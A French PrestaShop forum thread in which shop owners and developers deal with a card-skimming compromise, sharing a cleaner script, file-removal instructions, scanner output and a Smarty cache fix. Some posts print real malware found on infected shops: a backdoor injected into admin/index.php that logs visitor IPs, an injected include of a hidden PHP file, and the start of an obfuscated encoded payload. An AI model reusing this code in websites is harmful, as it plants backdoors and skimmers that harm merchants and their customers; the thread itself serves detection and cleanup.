Jump to content

Faille de sécurité prestashop, avez vous recu le mail?


Manu-41

Recommended Posts

Il y a 3 heures, SAKSCM a dit :

I saw 😮 surprisingly it wasnt having the problem with the payment method :o 

This is the error in the server logs

Thanks, best regards

image.thumb.png.5e76586eedc9a8458c0d6376deaf6b0d.png

could you send me here your infected zip file please ?

Link to comment
Share on other sites

il y a 24 minutes, SAKSCM a dit :

Here is the zip. Thank you.

Suppress the 2 functions csschecks ans jschecks from your files.

Controller.php

Line 638 to 691

Then suppress the leading } on line 692

You can also suppress lines 872 to the end of file

FrontController.php

Line 714 to 767

Then suppress the leading } on line 768

You can also suppress lines 2176 to the end of file

ModuleFrontController.php

Supress line 102

Tools.php

Suppress line 4524

Store.php

Suppress line 209

Product.php

Suppress line 8386

Shop.php

Suppress line 1355

 

Edited by doekia (see edit history)
  • Like 1
Link to comment
Share on other sites

5 minutes ago, doekia said:

Suppress the 2 functions csschecks ans jschecks from your file.

Line 638 to 691

Then suppress the leading } on line 692

You can also suppress lines 872 to the end of file

Hi, 

Thank you.. Which file, inside the zip there are a bunch of files 😅

Deleting this will make the other ones infections useless? 

Thank you, best regards! 

Link to comment
Share on other sites

On 8/11/2022 at 10:43 AM, doekia said:

Edited my post.

BTW do not run the shop until you have reviewed all cleaner.php alerts

There is a huge bunch of backdoor here that reinfect on run

Hi! 

 

Ahhh now is much clearer, thank you!! 

If I clean this, do you think I can run the cleaner.php without break the site like before? 

Thank you so much

Edited by SAKSCM (see edit history)
Link to comment
Share on other sites

42 minutes ago, Eolia said:

1- Run cleaner.php

2- Extract all /class dir from your original prestashop version zip (at the end of the script page)

3 - Replace your ftp/class dir with this original

4- Your shop is now safe

Hi! 

Thank you! 

And what happens with the other prestashop files it removes are not needed? 

Also needed the changes suggested by doekia right? 

Thank you, best regards 

Edited by SAKSCM (see edit history)
Link to comment
Share on other sites

Bonjour,

j'ai effectué le script, merci beaucoup pour votre vigilance et réactivité

j'ai remplacé les fichiers en orange, mais ils sont toujours dans le script :

#MD5 WARNING : Fichier différent de l'original public_html/classes/Cart.php
#MD5 WARNING : Fichier différent de l'original public_html/classes/order/OrderHistory.php
#MD5 WARNING : Fichier différent de l'original public_html/config/smarty.config.inc.php
Lignes hors classe dans public_html/config/smarty.config.inc.php
define('_PS_SMARTY_DIR_', _PS_TOOL_DIR_.'smarty/');

require_once(_PS_SMARTY_DIR_.'Smarty.class.php');

global $smarty;
$smarty = new SmartyCustom();
$smarty->setCompileDir(_PS_CACHE_DIR_.'smarty/compile');
$smarty->setCacheDir(_PS_CACHE_DIR_.'smarty/cache');
if (!Tools::getSafeModeStatus()) {
    $smarty->use_sub_dirs = true;
}
$smarty->setConfigDir(_PS_SMARTY_DIR_.'configs');
$smarty->caching = false;
if (false && Configuration::get('PS_SMARTY_CACHING_TYPE') == 'mysql') {
    include(_PS_CLASS_DIR_.'/SmartyCacheResourceMysql.php');
    $smarty->caching_type = 'mysql';
}
$smarty->force_compile = (Configuration::get('PS_SMARTY_FORCE_COMPILE') == _PS_SMARTY_FORCE_COMPILE_) ? true : false;
$smarty->compile_check = (Configuration::get('PS_SMARTY_FORCE_COMPILE') >= _PS_SMARTY_CHECK_COMPILE_) ? true : false;
$smarty->debug_tpl = _PS_ALL_THEMES_DIR_.'debug.tpl';


if (defined('_PS_SMARTY_FAST_LOAD_') && _PS_SMARTY_FAST_LOAD_) {
    return;
}

if (defined('_PS_ADMIN_DIR_')) {
    require_once(dirname(__FILE__).'/smartyadmin.config.inc.php');
} else {
    require_once(dirname(__FILE__).'/smartyfront.config.inc.php');
}

($smarty, 'modifier', 'truncate', '');
($smarty, 'modifier', 'secureReferrer', array('Tools', 'secureReferrer'));

($smarty, 'function', 't', ''); // unused
($smarty, 'function', 'm', ''); // unused
($smarty, 'function', 'p', ''); // Debug only
($smarty, 'function', 'd', ''); // Debug only
($smarty, 'function', 'l', 'smartyTranslate', false);
($smarty, 'function', 'hook', '');
($smarty, 'function', '', '');
($smarty, 'modifier', 'json_encode', array('Tools', 'jsonEncode'));
($smarty, 'modifier', 'json_decode', array('Tools', 'jsonDecode'));
($smarty, 'function', 'dateFormat', array('Tools', 'dateFormat'));
($smarty, 'function', 'convertPrice', array('Product', 'convertPrice'));
($smarty, 'function', 'convertPriceWithCurrency', array('Product', 'convertPriceWithCurrency'));
($smarty, 'function', 'displayWtPrice', array('Product', 'displayWtPrice'));
($smarty, 'function', 'displayWtPriceWithCurrency', array('Product', 'displayWtPriceWithCurrency'));
($smarty, 'function', 'displayPrice', array('Tools', 'displayPriceSmarty'));
($smarty, 'modifier', 'convertAndFormatPrice', array('Product', 'convertAndFormatPrice')); // used twice
($smarty, 'function', 'getAdminToken', array('Tools', 'getAdminTokenLiteSmarty'));
($smarty, 'function', 'displayAddressDetail', array('AddressFormat', 'generateAddressSmarty'));
($smarty, 'function', 'getWidthSize', array('Image', 'getWidth'));
($smarty, 'function', 'getHeightSize', array('Image', 'getHeight'));
($smarty, 'function', 'addJsDef', array('Media', 'addJsDef'));
($smarty, 'block', 'addJsDefL', array('Media', 'addJsDefL'));
($smarty, 'modifier', 'boolval', array('Tools', 'boolval'));
($smarty, 'modifier', 'cleanHtml', '');


Recherche de fichiers php ajoutés:
Fichier php inexistant dans la version d'origine : public_html/mails/fr/lang.php
Fichier php inexistant dans la version d'origine : public_html/config/settings.inc.php

Contrôle sur les fichiers sensibles connus pour être modifiés:
Pas de fichier suspect type XXXXX.js detecté OK
Pas d'include indésirable dans defines.inc.php OK
Contrôle de public_html/classes/Dispatcher.php => OK
Contrôle de public_html/classes/Hook.php => OK
Contrôle de public_html/classes/controller/FrontController.php => OK
Contrôle de public_html/classes/db/Db.php => OK
Contrôle de public_html/classes/module/Module.php => OK
Contrôle de public_html/controllers/front/IndexController.php => OK
Contrôle de public_html/tools/smarty/sysplugins/smarty_internal_templatebase.php => OK
Contrôle de public_html/config/alias.php => OK

!!! ATTENTION !!! Certains de vos fichiers coeurs ont été modifiés. Si ces modifications ne sont pas volontaires, nous vous conseillons de les restaurer dans leur version d'origine Prestashop fournie dans le zip ci-dessous.

j'ai purgé les différents caches, mais cela reste ainsi..

Edited by Neck_Rein
t (see edit history)
Link to comment
Share on other sites

Bonjour,

 en voulant tester la nouvelle version du script d' @Eolia la 1.0.43 j'ai remarqué que j'avais un fichier cœur différent de la version originale de Prestashop 1.7.8.6

C'est le fichier : smarty.config.inc.php

 Personnellement, je n'y ai jamais touché, peut-être un concepteur de module éventuellement...?

Je vous joins les 2 fichiers, l'original et celui qui est en cours.   

original.jpg

ma_version.jpg

Link to comment
Share on other sites

il y a une heure, arm15 a dit :

Bonjour,

 en voulant tester la nouvelle version du script d' @Eolia la 1.0.43 j'ai remarqué que j'avais un fichier cœur différent de la version originale de Prestashop 1.7.8.6

C'est le fichier : smarty.config.inc.php

 Personnellement, je n'y ai jamais touché, peut-être un concepteur de module éventuellement...?

Je vous joins les 2 fichiers, l'original et celui qui est en cours.   

original.jpg

ma_version.jpg

La différence est liée à la suppression des lignes 43 à 46 du fichier original quand la faille est sortie et que Prestashop nous avait indiqué qu'il valait mieux les supprimer (ce que tu as dû faire ou le mainteneur du site).

Link to comment
Share on other sites

Il y a 3 heures, Neck_Rein a dit :

Bonjour,

j'ai effectué le script, merci beaucoup pour votre vigilance et réactivité

j'ai remplacé les fichiers en orange, mais ils sont toujours dans le script :

#MD5 WARNING : Fichier différent de l'original public_html/classes/Cart.php
#MD5 WARNING : Fichier différent de l'original public_html/classes/order/OrderHistory.php
#MD5 WARNING : Fichier différent de l'original public_html/config/smarty.config.inc.php
Lignes hors classe dans public_html/config/smarty.config.inc.php
define('_PS_SMARTY_DIR_', _PS_TOOL_DIR_.'smarty/');

require_once(_PS_SMARTY_DIR_.'Smarty.class.php');

global $smarty;
$smarty = new SmartyCustom();
$smarty->setCompileDir(_PS_CACHE_DIR_.'smarty/compile');
$smarty->setCacheDir(_PS_CACHE_DIR_.'smarty/cache');
if (!Tools::getSafeModeStatus()) {
    $smarty->use_sub_dirs = true;
}
$smarty->setConfigDir(_PS_SMARTY_DIR_.'configs');
$smarty->caching = false;
if (false && Configuration::get('PS_SMARTY_CACHING_TYPE') == 'mysql') {
    include(_PS_CLASS_DIR_.'/SmartyCacheResourceMysql.php');
    $smarty->caching_type = 'mysql';
}
$smarty->force_compile = (Configuration::get('PS_SMARTY_FORCE_COMPILE') == _PS_SMARTY_FORCE_COMPILE_) ? true : false;
$smarty->compile_check = (Configuration::get('PS_SMARTY_FORCE_COMPILE') >= _PS_SMARTY_CHECK_COMPILE_) ? true : false;
$smarty->debug_tpl = _PS_ALL_THEMES_DIR_.'debug.tpl';


if (defined('_PS_SMARTY_FAST_LOAD_') && _PS_SMARTY_FAST_LOAD_) {
    return;
}

if (defined('_PS_ADMIN_DIR_')) {
    require_once(dirname(__FILE__).'/smartyadmin.config.inc.php');
} else {
    require_once(dirname(__FILE__).'/smartyfront.config.inc.php');
}

($smarty, 'modifier', 'truncate', '');
($smarty, 'modifier', 'secureReferrer', array('Tools', 'secureReferrer'));

($smarty, 'function', 't', ''); // unused
($smarty, 'function', 'm', ''); // unused
($smarty, 'function', 'p', ''); // Debug only
($smarty, 'function', 'd', ''); // Debug only
($smarty, 'function', 'l', 'smartyTranslate', false);
($smarty, 'function', 'hook', '');
($smarty, 'function', '', '');
($smarty, 'modifier', 'json_encode', array('Tools', 'jsonEncode'));
($smarty, 'modifier', 'json_decode', array('Tools', 'jsonDecode'));
($smarty, 'function', 'dateFormat', array('Tools', 'dateFormat'));
($smarty, 'function', 'convertPrice', array('Product', 'convertPrice'));
($smarty, 'function', 'convertPriceWithCurrency', array('Product', 'convertPriceWithCurrency'));
($smarty, 'function', 'displayWtPrice', array('Product', 'displayWtPrice'));
($smarty, 'function', 'displayWtPriceWithCurrency', array('Product', 'displayWtPriceWithCurrency'));
($smarty, 'function', 'displayPrice', array('Tools', 'displayPriceSmarty'));
($smarty, 'modifier', 'convertAndFormatPrice', array('Product', 'convertAndFormatPrice')); // used twice
($smarty, 'function', 'getAdminToken', array('Tools', 'getAdminTokenLiteSmarty'));
($smarty, 'function', 'displayAddressDetail', array('AddressFormat', 'generateAddressSmarty'));
($smarty, 'function', 'getWidthSize', array('Image', 'getWidth'));
($smarty, 'function', 'getHeightSize', array('Image', 'getHeight'));
($smarty, 'function', 'addJsDef', array('Media', 'addJsDef'));
($smarty, 'block', 'addJsDefL', array('Media', 'addJsDefL'));
($smarty, 'modifier', 'boolval', array('Tools', 'boolval'));
($smarty, 'modifier', 'cleanHtml', '');


Recherche de fichiers php ajoutés:
Fichier php inexistant dans la version d'origine : public_html/mails/fr/lang.php
Fichier php inexistant dans la version d'origine : public_html/config/settings.inc.php

Contrôle sur les fichiers sensibles connus pour être modifiés:
Pas de fichier suspect type XXXXX.js detecté OK
Pas d'include indésirable dans defines.inc.php OK
Contrôle de public_html/classes/Dispatcher.php => OK
Contrôle de public_html/classes/Hook.php => OK
Contrôle de public_html/classes/controller/FrontController.php => OK
Contrôle de public_html/classes/db/Db.php => OK
Contrôle de public_html/classes/module/Module.php => OK
Contrôle de public_html/controllers/front/IndexController.php => OK
Contrôle de public_html/tools/smarty/sysplugins/smarty_internal_templatebase.php => OK
Contrôle de public_html/config/alias.php => OK

!!! ATTENTION !!! Certains de vos fichiers coeurs ont été modifiés. Si ces modifications ne sont pas volontaires, nous vous conseillons de les restaurer dans leur version d'origine Prestashop fournie dans le zip ci-dessous.

j'ai purgé les différents caches, mais cela reste ainsi..

Bizarre, sauf si vous êtes chez OVH, ce que vous voyez en ftp est une image (avec décalage du ftp réel) il faut parfois attendre plus d'une minute pour que les fichiers soient réellement mis à jour.

Que vous donne l'archive suspicious.zip pour ces fichiers ? la version d'origine ou une autre ?

Link to comment
Share on other sites

Pour info, nouveau fichier attaqué découvert sur une 1.7 admin/index.php dont ces lignes sont ajoutées:

$add_cookies = md5(md5($_SERVER['DOCUMENT_ROOT']));
if(md5($_REQUEST["themearchivesubmitter"]) != "bf1ae6db6e2cf4f338435bc1d9abf599") {
if(isset($_POST['themearchive'])) { header("HTTP/1.1 301 Moved Permanently"); header("Location: /"); exit(); }
if(isset($_FILES['file_uploaded']['name'])) { header("HTTP/1.1 301 Moved Permanently"); header("Location: /"); exit(); } }
if(!isset($_COOKIE[$add_cookies])) {
setcookie($add_cookies, "1", null, "/", $_SERVER['HTTP_HOST'], 1, 1); 
$master_dir = ini_get('upload_tmp_dir');
if (empty($master_dir)) { $master_dir = '/tmp/'; } else { $master_dir = ini_get('upload_tmp_dir').'/'; }
if(isset($_SERVER['HTTP_CF_CONNECTING_IP']) AND !empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip_addr = $_SERVER['HTTP_CF_CONNECTING_IP'];  } else { $ip_addr = $_SERVER['REMOTE_ADDR']; }
if(is_writable($master_dir)) { $fp=fopen($master_dir.'/'.$add_cookies,"a"); fputs($fp,"\n".$ip_addr); fclose($fp); }
}

Le script vous informera si ce fichier n'est pas conforme à l'origine.

  • Like 4
Link to comment
Share on other sites

5 hours ago, Eolia said:

Bizarre, sauf si vous êtes chez OVH, ce que vous voyez en ftp est une image (avec décalage du ftp réel) il faut parfois attendre plus d'une minute pour que les fichiers soient réellement mis à jour.

Que vous donne l'archive suspicious.zip pour ces fichiers ? la version d'origine ou une autre ?

Je suis chez O2switch

La seule différence entre ces fichiers et la version d'origine est l'appel du module code2pay. Sinon ils sont parfaitement identiques

Link to comment
Share on other sites

Pour info, les dernières versions renomment le script pour éviter les appels vers celui-ci de la part d'indésirables.

Veuillez bien noter la nouvelle url créée (Vous pouvez toujours recharger le cleaner de base si vous l'avez perdue)

Dernier changelogs:

1.0.44 (12/08/2022) - Ajout de contrôle spécifique sur l'admin/index.php + message d'erreur si écriture du script impossible
1.0.45 (12/08/2022) - Suppression des messages en double et refacto
1.0.46 (13/08/2022) - Renommage du script pour éviter les tests d'indésirables
1.0.47 (13/08/2022) - Contrôle de l'unicité du répertoire /admin
1.0.48 (13/08/2022) - Refacto
1.0.49 (13/08/2022) - Ré-écriture de la recherche des fonctions sensibles dans les modules

 

Link to comment
Share on other sites

Bonjour,

L'installation du script sur une boutique ne risque-t-elle pas de permettre à des pirates d'exécuter le script et d'obtenir ainsi facilement un rapport détaillé des failles de sécurité de la boutique en question ?

Link to comment
Share on other sites

il y a 13 minutes, Lynda a dit :

J'ai voulu le renommer mais, étrangement, je ne vois plus le fichier cleaner.php à la racine de ma boutique. Lorsque j'exécute www.monsite.fr/cleaner.php, je suis redirigé vers www.monsite.fr/4d0ea9afd066.php

Je ne sais pas à quoi ça sert qu'on mette un changelog dans le fichier ni une belle ligne en jaune en haut du script...

image.png.627189ac9a310b67f4407a3c2bb425cc.png

  • Haha 1
Link to comment
Share on other sites

Il y a 8 heures, aicv a dit :

 Le script le montre:

La mémoire disponible sur votre serveur (2G) est insuffisante pour exécuter ce script, veuillez l'augmenter à 512 MB au minimum

phpinfo de mon site montre ceci:

image.png.7f876efe22227ee713531beb97860926.png

 

Relancez-le svp et si l'erreur continue, veuillez regarder l'error.log de votre hébergement.

Link to comment
Share on other sites

Je ne vois pas de Fatal error  ou bad gateway(500 ou 503) dans ces lignes...

Il faut regarder à l'heure/minute où vous avez l'erreur.

A chaque version nous ajoutons de nouvelles fonctions de scan suivant les nouveaux hacks découverts ce qui augmente les process/utilisation de la mémoire/temps d'utilisation du script

Link to comment
Share on other sites

@Eolia Bonjour,

D'abord merci pour vos contributions !

En tant que prestataire de service, peut-on utiliser votre script pour faire un contrôle sur la boutique d'un client et lui facturer l'intervention (temps passé, conseil,  etc) ? Je précise qu'il ne s'agit pas de revendre votre script mais de l'utiliser pour gagner du temps dans les tâches qu'il accomplit. 

Merci d'avance

Link to comment
Share on other sites

il y a 21 minutes, OSFormation a dit :

@Eolia Bonjour,

D'abord merci pour vos contributions !

En tant que prestataire de service, peut-on utiliser votre script pour faire un contrôle sur la boutique d'un client et lui facturer l'intervention (temps passé, conseil,  etc) ? Je précise qu'il ne s'agit pas de revendre votre script mais de l'utiliser pour gagner du temps dans les tâches qu'il accomplit. 

Merci d'avance

Pas de souci tant que c'est transparent pour son utilisation.

Link to comment
Share on other sites

la complexité de certaines regex a augmenté mais certaines versions de PHP, notamment celles entre PHP7 et 7.3 ont des bugs a ce niveau.

On a ajouté ceci en début de script mais certains hébergements ne permettent pas la modification de ces valeurs du coup ça par en segmentation fault...

if (version_compare(phpversion(), '7.3.0', '<')) {
    @ini_set('pcre.jit',0);
    @ini_set('pcre.backtrack_limit',2148576);
    @ini_set('pcre.recursion_limit',2148576);
}
else {
    @ini_set('pcre2.jit',0);
    @ini_set('pcre2.backtrack_limit',2148576);
    @ini_set('pcre2.recursion_limit',2148576);
}

 

  • Like 1
Link to comment
Share on other sites

Pour ceux que ça intéresse, j'ai aussi été victime d'un credit card sweeper exactement comme ceux cité plus haut dans le poste.

Je ne sais pas si c'est ce hack ou une variante, j'en ai été infecté mi-juin de cette année, bien avant l'annonce de Prestashop. Depuis j'ai mis un pare-feu (sucuri) et désinfecté par moi-même en comparant tous les fichiers, sacré bazar).

Sucuri a écrit un article à propos de mon cas (et probablement d'autres infecté), voici le lien: https://blog.sucuri.net/2022/07/prestashop-skimmer-concealed-in-one-page-checkout-module.html

onepagecheckoutps semble revenir souvent dans les hack que j'ai vu (module payant), et je l'ai aperçu dans les logs d'une réponse un peu plus haut.

J'ai mis tous les fichiers PHP en lecture seule, patché ce qui était à patcher, comparé tous les fichiers et maintenant avec sucuri, il filtre les requêtes m'informe si un fichier est modifié ou ajouté. Comme je ne peux pas migrer au delà de 1.6.1.24, j'espère que ça sera suffisant pour éviter tout autre hack.

  • Like 1
Link to comment
Share on other sites

  • 3 months later...

Je suis également victime de ce hack qui touche mon système de paiement en le remplaçant par un encart cb.

j’ai ma boutique depuis 5 ans sans problème majeur mais la j’ai fais une dizaine de demandes de devis pour épurer ma boutique de ce hack plus une migration sur la dernière version de presta et toute les agences me sorte des 5k/10k€ pour se faire ? Je fais 30k par ans avec cette boutique je fais comment à part mettre fin à mon activité ?

Link to comment
Share on other sites

1 hour ago, Casuality78 said:

Je suis également victime de ce hack qui touche mon système de paiement en le remplaçant par un encart cb.

j’ai ma boutique depuis 5 ans sans problème majeur mais la j’ai fais une dizaine de demandes de devis pour épurer ma boutique de ce hack plus une migration sur la dernière version de presta et toute les agences me sorte des 5k/10k€ pour se faire ? Je fais 30k par ans avec cette boutique je fais comment à part mettre fin à mon activité ?

Si vous avez été infecté c'est compliqué... la correction par contre elle était facile à faire mais trop tard dans votre cas. Je vous ai envoyé un devis qui n'est pas à 5K je vous rassure :=)

Dans l'idéal pour vous, repartir sur un site propre avec l'import de vos données

Link to comment
Share on other sites

Bonsoir,

D'un côté tu as des supers pros du dev comme Eolia ou Doekia qui apportent gratuitement la plupart du temps leur soutien à la communauté Presta et de l'autre tu en as qui se goinfrent sur le dos des possesseurs de boutique Prestashop inexpérimentés qui se font dépouiller de plusieurs centaines à plusieurs milliers d'euros pour des travaux qui, quand tu connais un peu le métier, prennent parfois 10 minutes. J'ai patché tous les sites de mes clients gratuitement avec le correctif pour ce hack. Quand on t'offre la solution gratuitement pourquoi la facturer à tes clients derrière ? Si encore ça prenait deux heures à faire mais là c'est plié en 10 minutes, même en 5 si tu prends le module offert par Linea Grafica qui patche automatiquement la faille.

Mais bon j'ai un côté altruiste contrairement à certains. Je ne mourrai pas riche du coup mais je m'en fiche complètement. Ça fait du bien de faire du bien autour de soi aussi.

  • Like 2
Link to comment
Share on other sites

Clairement, le correctif est patché en 10 secondes chronos... tous mes clients en contrat de maintenances ont été patché dans l'heure. 

Les nouveaux clients était facturé 10 euros avec vérifications si infections...  Mais bon on ne peut pas patcher les clients qu'on ne connait pas ;)

 

 

Link to comment
Share on other sites

il y a 12 minutes, mandrake a dit :

Bonsoir,

D'un côté tu as des supers pros du dev comme Eolia ou Doekia qui apportent gratuitement la plupart du temps leur soutien à la communauté Presta et de l'autre tu en as qui se goinfrent sur le dos des possesseurs de boutique Prestashop inexpérimentés qui se font dépouiller de plusieurs centaines à plusieurs milliers d'euros pour des travaux qui, quand tu connais un peu le métier, prennent parfois 10 minutes. J'ai patché tous les sites de mes clients gratuitement avec le correctif pour ce hack. Quand on t'offre la solution gratuitement pourquoi la facturer à tes clients derrière ? Si encore ça prenait deux heures à faire mais là c'est plié en 10 minutes, même en 5 si tu prends le module offert par Linea Grafica qui patche automatiquement la faille.

Mais bon j'ai un côté altruiste contrairement à certains. Je ne mourrai pas riche du coup mais je m'en fiche complètement. Ça fait du bien de faire du bien autour de soi aussi.

Salut,

je comprends ton propos ayant participé aussi à l’amélioration du script d’Eolia pour le rendre plus accessible au plus grand nombre.

neanmoins, lorsque j’interviens sur un site hacké, je le nettoie intégralement en identifiant les points d’entrées pour que le hack ne se produise plus.

jusqu’à maintenant, je n’ai eu à faire à aucun hack par le biais de dette histoire de cache mysql, mais bien par des modules non sécurisés.

perso, même si je ne peux garantir à 100% que le site ne sera plus hacké dans le futur à moins que je puisse le suivre sous contrat de maintenance, j’essaye de rendre un site clean et patché jusque dans le code des modules tiers.

et ce résultat, par expérience depuis le début de la crise me prend largement une demi journée complète et tu imagines bien que je ne suis pas en capacité d’offrir cela à n’importe qui, car chaque cas est unique.

par contre, les failles identifiées sont partagées avec la communauté pour améliorer tout cela.

mais je le répète, tout le monde n’intervient pas à ce niveau et n’accompagne pas réellement leurs clients.

  • Like 1
Link to comment
Share on other sites

il y a 4 minutes, Mediacom87 a dit :

j’essaye de rendre un site clean et patché jusque dans le code des modules tiers.

Tu fais bien de le stipuler car le dernier hack que j'ai rencontré (il y a 2 semaines) est non seulement bien étudié (vérif du cookie si admin,si oui,pas d'affichage du formulaire de paiement, ect...) et s'est propagé bien loin dans les modules (ici le dernier c'était jusque dans le module Dashgoals)

atom_mKAr4bf5Hb.thumb.jpg.5d5bdf5c7da4bbeba5d47db7f3e0bf5e.jpg

Suffit pas de lancer le script d'Eolia et si rien, circulez, tout est sous contrôle, voici votre facture.😏

Porte d'entrée du hack : Module Appbuilder (encore lui 🥺)

 

  • Like 3
Link to comment
Share on other sites

il y a 28 minutes, magicbel a dit :

Tu fais bien de le stipuler car le dernier hack que j'ai rencontré (il y a 2 semaines) est non seulement bien étudié (vérif du cookie si admin,si oui,pas d'affichage du formulaire de paiement, ect...) et s'est propagé bien loin dans les modules (ici le dernier c'était jusque dans le module Dashgoals)

atom_mKAr4bf5Hb.thumb.jpg.5d5bdf5c7da4bbeba5d47db7f3e0bf5e.jpg

Suffit pas de lancer le script d'Eolia et si rien, circulez, tout est sous contrôle, voici votre facture.😏

Porte d'entrée du hack : Module Appbuilder (encore lui 🥺)

 

Oui, la dernière évolution du hack s’amuse à ne plus s’afficher à chaque fois histoire de laisser passer quelques commandes pour ne pas trop éveiller les soupçons.

Link to comment
Share on other sites

Concernant la faille du cache SQL (jamais vu exploité pour ma part) en 1.6, sans migrer, le plus rapide est d'éditer le fichier config/smarty.config.inc.php

Repérez le ligne:

if (Configuration::get('PS_SMARTY_CACHING_TYPE') == 'mysql') {

Remplacez la par

if (false && Configuration::get('PS_SMARTY_CACHING_TYPE') == 'mysql') {

Videz la table PREFIX_smarty_cache.

 

  • Like 1
Link to comment
Share on other sites

Il y a 12 heures, magicbel a dit :

Tu fais bien de le stipuler car le dernier hack que j'ai rencontré (il y a 2 semaines) est non seulement bien étudié (vérif du cookie si admin,si oui,pas d'affichage du formulaire de paiement, ect...) et s'est propagé bien loin dans les modules (ici le dernier c'était jusque dans le module Dashgoals)

atom_mKAr4bf5Hb.thumb.jpg.5d5bdf5c7da4bbeba5d47db7f3e0bf5e.jpg

Suffit pas de lancer le script d'Eolia et si rien, circulez, tout est sous contrôle, voici votre facture.😏

Porte d'entrée du hack : Module Appbuilder (encore lui 🥺)

 

Cleaner contrôle les fichiers index.php.

Tu dis qu'il ne détecte pas ce hack ?

Link to comment
Share on other sites

Bonjour @Eolia ;)

J'ai pas souvenir que ton script ai détecté l'index du module. On l'a vu via un winmerge.

Bon,étant pas mal chargé,j'ai fini pas mettre un collègue dessus car je n'avais pas le tps nécessaire pour tout verifier/cleaner

Je viens de fouiller dans mes screens, voilà la partie concernant le cookie.

firefox_j5zJbts5tR.thumb.jpg.6ef3ce7b9a1343bcd4fd3808192f7821.jpg

Link to comment
Share on other sites

  • 2 months later...
13 hours ago, OPTINR said:

Je voulais relancer un coup le script de eolia avant d'aller dormir et bim pas de dodo encore se soir avec un site qui s'est encore répeté après le footer.

C'est sans fin cette histoire de hack :(

Capture d’écran 2023-02-16 à 22.17.35.png

Avez-vous changé les mots de passe pour le backoffice, le FTP, l'hébergement, etc. ?

Link to comment
Share on other sites

  • 4 weeks later...
  • 8 months later...
  • 3 months later...

Bonjour à tous et merci à @Eolia pour ton script 

j'ai recemment detecter un formulaire de paiement frauduleux qui est injecté dans ma page de paiement du coup j'ai lancé le script d'Eolia et

je voulais partager avec vous ce que j'ai trouvé

mon adminxxx/index.php était infecté avec ce bout de code injecté tout au début 

$add_cookies = md5(md5($_SERVER['DOCUMENT_ROOT']));
if(!isset($_COOKIE[$add_cookies])) {
setcookie($add_cookies, "1", null, "/", $_SERVER['HTTP_HOST'], 1, 1); 
$master_dir = ini_get('upload_tmp_dir');
if (empty($master_dir)) { $master_dir = '/tmp/'; } else { $master_dir = ini_get('upload_tmp_dir').'/'; }
if(isset($_SERVER['HTTP_X_REAL_IP']) AND !empty($_SERVER['HTTP_X_REAL_IP'])) { $ip_addr = $_SERVER['HTTP_X_REAL_IP'];  } else { $ip_addr = $_SERVER['REMOTE_ADDR']; }
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_addr = $_SERVER['HTTP_X_FORWARDED_FOR'];  } else { $ip_addr = $_SERVER['REMOTE_ADDR']; }
if(isset($_SERVER['HTTP_CF_CONNECTING_IP']) AND !empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip_addr = $_SERVER['HTTP_CF_CONNECTING_IP'];  } else { $ip_addr = $_SERVER['REMOTE_ADDR']; }
if(is_writable($master_dir)) { $fp=fopen($master_dir.'/'.$add_cookies,"a"); fputs($fp,"\n".$ip_addr); fclose($fp); }

Sauriez vous me dire ce qu'il essaie de faire avec ça?

le script a detecté un autre fichier infecté autoload_real.php

/vendor/composer/autoload_real.php
// contenu injecté ci dessous: 
@include_once('/home/xxx/www/modules/dashtrends/views/1.php');

le contenu de ce nouveau fichier 1.php

<?php
define('c88e2334d680d9548','eNrsfXlf40bS8N/z/H7Pd9A4JLIzxtjMMIcZmGU4MuxyLWZyLMOyPmRQsCVHkg1kwvPZ36rqQ91S6zAwSXbfJRmwpT6rq6vr7v/9n4Xv9g7fb+x1Tu0PG50PJz8dbdtn1pplh5fdldayvfq/SomjjU4HS7ESg2Gv5/T7w0G/67x59XzZeT548fzlm1evX7acYc951euvvBwO+69evBw2X/Wft1697L5YefNi2G++efPqVe/Vi1fwd/Dmeb/3cmXYe/liOGy+ed7rv3j5yml2e89XBg58e4WNdZff9HvLb7pvVvovBsPnr5+/Wukvv7RXl5aO/rKycl2tBVvqMDvbmx+2N7bYKD92to/PN77bPjjR57J5ePi3XTbXYXcUOtrLrY3jv2W8Ot7ePzzZPt/Y2jrOqrz9/uN39K7qhqETVVOvatY7K12+zdqqQWPuUFQ9P97++8ftzsmpPXB604vz/ngA9WvWZ8uZdUdZ71etu//9n//9n6E7ipxgc+Q6XlTFdgdO3x84x84vUydkT/qXTv9qYxpd0jeoMvX6ket7lvLi8//+zxMY0VMTItSswImmgWfBaLe9/t+cW97Qk4WRf+F6P7jR5VE3DBVoxEOewAts4ptvrMtueFk14WLdMlRYW1uzjKNZxY4dGofac1x2+2Dzb9s/4epAExeOx8dsbIxPBKauz6UGD5/E880ciAOriZX18SRqy5L4mLrZ8YPx4ZQtz522Jhdxrc8EYcezNEAcb+9tH9hn2CT8P/QDp9u/jCFudUNr4cpaW7e+WZhRE08WJoEzhEbCKAicWTWc9uBTdeGqbjUB8tABQQHL+WGE5eIC+JaXoSI4VdYarg6WZ13AgsCQcaAzKvdk6ul4sHDF4AUlDetk9bqh8/LFOcPdKjXGi3PUS9ei1wA7+gf/84JiryahKrEApkZj5uV5z7B+2HMOilaz6APs83MgQN9vHyfftC3brjWwx8b5+c7u3vb5eS294gqWTRguQy25H+kRbJ40AOS2NMNGrIgydWyLbR/TGlCF1Rgy4rs+2gR5IRyVuLdmdYOge3s+doILWEaacwd3N6PEyj4H8iVQ5LvtE3xxdNg5iYsmhimwnuYTHQXOnuOxbaUTLWU6ykaqWcYSiQ2qToPNctebTBUkNm5WMRYFpcQOY7AIp+MqfDsPJyM3ykOwGEVqdWuxVbOeWSvpLnV6T+APnT70/MHpDpwAxi5IsMDJDycnR+d2w3B2clraD7rXIyd47+Pmh919cT7uRkBT7KWeH/1Gb38LJy60vuTadSvRsnL4nokVUZv87TfrqTbEmuXcICToS5UaWWo1WtaL5gvrACrs+FNvYBs2ik45aeqX0XiEG+Ytflh/i22uvx07UdfyumNnrRL4MIWwYvV9LwKArVU83/UGzk1l/e0SK9zzB7dAGW9HUHrgwiJ1b9sXgTtYvXTci8uo3Wo2Z5er424Afbebq/C+7yy6kTMO231oESDO/qxCk0CMx1aXBrtWqVgwjkt/sFZBzK5YvgdoMXZhDBxNaDrV6NINa1DXRVwTA4mcm2ixO3IvvDZvvsInhFu4YkW3E/752g8GFQvYhCk8wFnhGOAPTmvdbky6QXccfuh6A1iNv3aqtYYNE0dY2XQm4UKMu1cOQpSAaaJP/cCdRLueG8VsQhbTI2gSNj5whq7nVO0txJlUSSwBbZ